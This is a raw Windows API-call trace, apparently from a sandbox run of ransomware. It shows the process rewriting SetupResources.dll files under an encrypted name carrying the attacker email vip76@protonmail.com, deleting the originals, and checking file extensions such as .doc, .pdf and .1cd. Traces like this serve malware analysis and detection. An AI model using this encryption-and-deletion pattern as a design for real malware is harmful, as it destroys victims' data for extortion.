	[0061.316] ReadFile (in: hFile=0x2d0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0061.318] WriteFile (in: hFile=0x2ec, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0061.319] ReadFile (in: hFile=0x2d0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.319] WriteFile (in: hFile=0x2ec, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.320] SetEndOfFile (hFile=0x2ec) returned 1
	[0061.320] CloseHandle (hObject=0x2ec) returned 1
	[0061.328] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.328] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.329] CloseHandle (hObject=0x2d0) returned 1
	[0061.329] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.329] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1
	[0061.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.330] lstrlenW (lpString=".doc") returned 4
	[0061.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.330] lstrlenW (lpString=".docx") returned 5
	[0061.330] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.330] lstrlenW (lpString=".pdf") returned 4
	[0061.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.330] lstrlenW (lpString=".xls") returned 4
	[0061.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.330] lstrlenW (lpString=".xlsx") returned 5
	[0061.330] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.330] lstrlenW (lpString=".ppt") returned 4
	[0061.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.331] lstrlenW (lpString=".zip") returned 4
	[0061.331] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.331] lstrlenW (lpString=".rar") returned 4
	[0061.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.331] lstrlenW (lpString=".bz2") returned 4
	[0061.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.331] lstrlenW (lpString=".7z") returned 3
	[0061.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.331] lstrlenW (lpString=".dbf") returned 4
	[0061.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.331] lstrlenW (lpString=".1cd") returned 4
	[0061.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.331] lstrlenW (lpString=".jpg") returned 4
	[0061.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.331] lstrlenW (lpString=".doc") returned 4
	[0061.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.331] lstrlenW (lpString=".docx") returned 5
	[0061.331] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.332] lstrlenW (lpString=".pdf") returned 4
	[0061.332] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.332] lstrlenW (lpString=".xls") returned 4
	[0061.332] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.332] lstrlenW (lpString=".xlsx") returned 5
	[0061.332] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.332] lstrlenW (lpString=".ppt") returned 4
	[0061.332] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.332] lstrlenW (lpString=".zip") returned 4
	[0061.332] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.332] lstrlenW (lpString=".rar") returned 4
	[0061.332] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.332] lstrlenW (lpString=".bz2") returned 4
	[0061.332] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.332] lstrlenW (lpString=".7z") returned 3
	[0061.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.333] lstrlenW (lpString=".dbf") returned 4
	[0061.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.333] lstrlenW (lpString=".1cd") returned 4
	[0061.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45
	[0061.334] lstrlenW (lpString=".jpg") returned 4
	[0061.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.334] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.334] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.334] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.335] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=18776) returned 1
	[0061.335] CloseHandle (hObject=0x2d0) returned 1
	[0061.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80
	[0061.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.335] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.335] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0061.337] GetLastError () returned 0x0
	[0061.337] ReadFile (in: hFile=0x2d0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0061.694] WriteFile (in: hFile=0x2ec, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0061.695] ReadFile (in: hFile=0x2d0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.695] WriteFile (in: hFile=0x2ec, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.695] SetEndOfFile (hFile=0x2ec) returned 1
	[0061.695] CloseHandle (hObject=0x2ec) returned 1
	[0061.710] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.710] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.711] CloseHandle (hObject=0x2d0) returned 1
	[0061.711] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.712] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1
	[0061.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.712] lstrlenW (lpString=".doc") returned 4
	[0061.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString=".docx") returned 5
	[0061.713] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.713] lstrlenW (lpString=".pdf") returned 4
	[0061.713] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString=".xls") returned 4
	[0061.713] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString=".xlsx") returned 5
	[0061.713] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.713] lstrlenW (lpString=".ppt") returned 4
	[0061.713] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.713] lstrlenW (lpString=".zip") returned 4
	[0061.713] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString=".rar") returned 4
	[0061.713] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString=".bz2") returned 4
	[0061.713] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.713] lstrlenW (lpString=".7z") returned 3
	[0061.713] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.713] lstrlenW (lpString=".dbf") returned 4
	[0061.713] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.713] lstrlenW (lpString=".1cd") returned 4
	[0061.713] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.713] lstrlenW (lpString=".jpg") returned 4
	[0061.713] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.713] lstrlenW (lpString=".doc") returned 4
	[0061.714] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.714] lstrlenW (lpString=".docx") returned 5
	[0061.714] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.714] lstrlenW (lpString=".pdf") returned 4
	[0061.714] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.714] lstrlenW (lpString=".xls") returned 4
	[0061.714] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.714] lstrlenW (lpString=".xlsx") returned 5
	[0061.714] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.714] lstrlenW (lpString=".ppt") returned 4
	[0061.714] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.714] lstrlenW (lpString=".zip") returned 4
	[0061.714] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.714] lstrlenW (lpString=".rar") returned 4
	[0061.714] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.714] lstrlenW (lpString=".bz2") returned 4
	[0061.714] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.714] lstrlenW (lpString=".7z") returned 3
	[0061.714] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.714] lstrlenW (lpString=".dbf") returned 4
	[0061.714] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.714] lstrlenW (lpString=".1cd") returned 4
	[0061.714] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0061.714] lstrlenW (lpString=".jpg") returned 4
	[0061.714] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.714] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.715] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.110] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=18264) returned 1
	[0062.122] CloseHandle (hObject=0x340) returned 1
	[0062.125] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80
	[0062.125] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.126] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.126] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0062.126] GetLastError () returned 0x0
	[0062.126] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0062.128] WriteFile (in: hFile=0x344, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0062.129] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.129] WriteFile (in: hFile=0x344, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.129] SetEndOfFile (hFile=0x344) returned 1
	[0062.129] CloseHandle (hObject=0x344) returned 1
	[0062.130] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.130] SetEndOfFile (hFile=0x33c) returned 1
	[0062.131] CloseHandle (hObject=0x33c) returned 1
	[0062.131] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.132] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1
	[0062.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.132] lstrlenW (lpString=".doc") returned 4
	[0062.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.132] lstrlenW (lpString=".docx") returned 5
	[0062.132] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.132] lstrlenW (lpString=".pdf") returned 4
	[0062.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.132] lstrlenW (lpString=".xls") returned 4
	[0062.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.132] lstrlenW (lpString=".xlsx") returned 5
	[0062.132] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.132] lstrlenW (lpString=".ppt") returned 4
	[0062.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.132] lstrlenW (lpString=".zip") returned 4
	[0062.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.132] lstrlenW (lpString=".rar") returned 4
	[0062.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.132] lstrlenW (lpString=".bz2") returned 4
	[0062.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.133] lstrlenW (lpString=".7z") returned 3
	[0062.133] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.133] lstrlenW (lpString=".dbf") returned 4
	[0062.133] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.133] lstrlenW (lpString=".1cd") returned 4
	[0062.133] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.133] lstrlenW (lpString=".jpg") returned 4
	[0062.133] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.133] lstrlenW (lpString=".doc") returned 4
	[0062.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString=".docx") returned 5
	[0062.133] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.133] lstrlenW (lpString=".pdf") returned 4
	[0062.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString=".xls") returned 4
	[0062.133] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString=".xlsx") returned 5
	[0062.133] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.133] lstrlenW (lpString=".ppt") returned 4
	[0062.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.133] lstrlenW (lpString=".zip") returned 4
	[0062.133] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString=".rar") returned 4
	[0062.133] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.133] lstrlenW (lpString=".bz2") returned 4
	[0062.133] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.134] lstrlenW (lpString=".7z") returned 3
	[0062.134] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.134] lstrlenW (lpString=".dbf") returned 4
	[0062.134] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.134] lstrlenW (lpString=".1cd") returned 4
	[0062.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45
	[0062.134] lstrlenW (lpString=".jpg") returned 4
	[0062.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.134] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.134] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.134] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.135] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=14168) returned 1
	[0062.135] CloseHandle (hObject=0x33c) returned 1
	[0062.135] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80
	[0062.135] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.135] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.135] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0062.137] GetLastError () returned 0x0
	[0062.137] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0062.139] WriteFile (in: hFile=0x344, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0062.140] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.140] WriteFile (in: hFile=0x344, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.140] SetEndOfFile (hFile=0x344) returned 1
	[0062.140] CloseHandle (hObject=0x344) returned 1
	[0062.141] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.141] SetEndOfFile (hFile=0x33c) returned 1
	[0062.142] CloseHandle (hObject=0x33c) returned 1
	[0062.142] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.142] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1
	[0062.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.143] lstrlenW (lpString=".doc") returned 4
	[0062.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.143] lstrlenW (lpString=".docx") returned 5
	[0062.143] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
